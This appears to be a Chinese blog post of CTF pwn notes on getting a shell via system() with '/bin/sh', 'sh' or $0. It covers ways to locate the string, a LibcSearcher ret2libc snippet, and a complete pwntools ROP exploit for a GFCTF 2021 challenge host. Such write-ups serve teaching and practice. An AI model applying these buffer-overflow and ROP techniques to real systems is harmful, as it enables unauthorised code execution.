【PWN · 总结】system返回shell(‘/bin/sh‘、‘sh‘、$(0))
pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。
pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。
目录
前言
就system的参数而言,'/bin/sh'、'sh'、$(0),这三者似乎都可以返回shell
一、'/bin/sh'
这个无需多说,然而查找方式可以总结一下
1.strings
linux的指令~
strings filename | grep /bin/sh
2.IDA
shift+F12即可获取所有的字符串即位置
当然,我这个截图里面没有'/bin/sh'
3.pwntools
pwntools里面的ELF对象,除了能够查看plt和got表信息(地址)、symbols查看标识位置,还可以通过search来找字符串
from pwn import *
p = process("filename")
bin_sh_addr = next(p.search("/bin/sh"))
#bin_sh_addr = p.search("/bin/sh").next()
#这个next的使用,据我印象,好像是因为python2到python3的缘故
4.ROPgadget
ROPgadget --binary filename --strings '/bin/sh'
5.libc中寻找
from LibcSearcher import *
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr) #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可)
libc_addr=puts_real_addr-libc.dump("puts") #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh") #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system") #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================
当然,如果给了本地文件,pwntools的ELF也可以类似于方法3找到字符串
二、'sh'
这个是环境变量配置,做题的时候遇到过,用于替换‘/bin/sh',可以尝试一下
三、$(0)
这是当前遇到的一道题目,[GFCTF 2021]where_is_shell
利用system($0)获得shell权限,$0在机器码中为 \x24\x30
题目给出了tips函数,这一串东西,是什么意思呢?地址也没有呀~
查看机器码
发现了24 30机器码,所以实际上我们可以把这里的地址作为参数。
exp
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level="debug")
io=remote("node4.anna.nssctf.cn",28559)
elf=ELF("./shell")
system_plt=elf.symbols['system']
#system_plt=0x400430
'''
if system_plt!=elf.symbols['system']:
print(system_plt," ",elf.symbols["system"])
'''
#这里的bin_sh实际上是\x24\x30开始的地址
bin_sh=0x400541
rdi=0x4005e3
ret=0x400416
payload=b'a'*(0x10+8)
payload+=p64(ret)
payload+=p64(rdi)+p64(bin_sh)
payload+=p64(system_plt)
io.sendlineafter(b'it?\n',payload)
io.interactive()
IDA查看机器码
opcode bytes设置一下,保存即可
四、输入"/bin/sh"
遇到找不到/bin/sh的问题,在不去libc找的情况下,观察程序输入输出关系,可以自己把"/bin/sh"输入,下面是典型的一题
【PWN · ret2text | ‘/bin/sh‘写在bss段】[HNCTF 2022 Week1]ezr0p32_Mr_Fmnwon的博客-CSDN博客
第一个read读入"/bin/sh"到.bss段
第二个栈溢出控制执行system("/bin/sh"):其中system通过plt等,参数为.bss上存储"/bin/sh"的地址
总结
对于system参数的选取,有必要总结一下。优化大概率事件嘛。以后遇到也会持续更新啦
===================2023/6/10更新 第四部分输入"/bin/sh" ==================
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)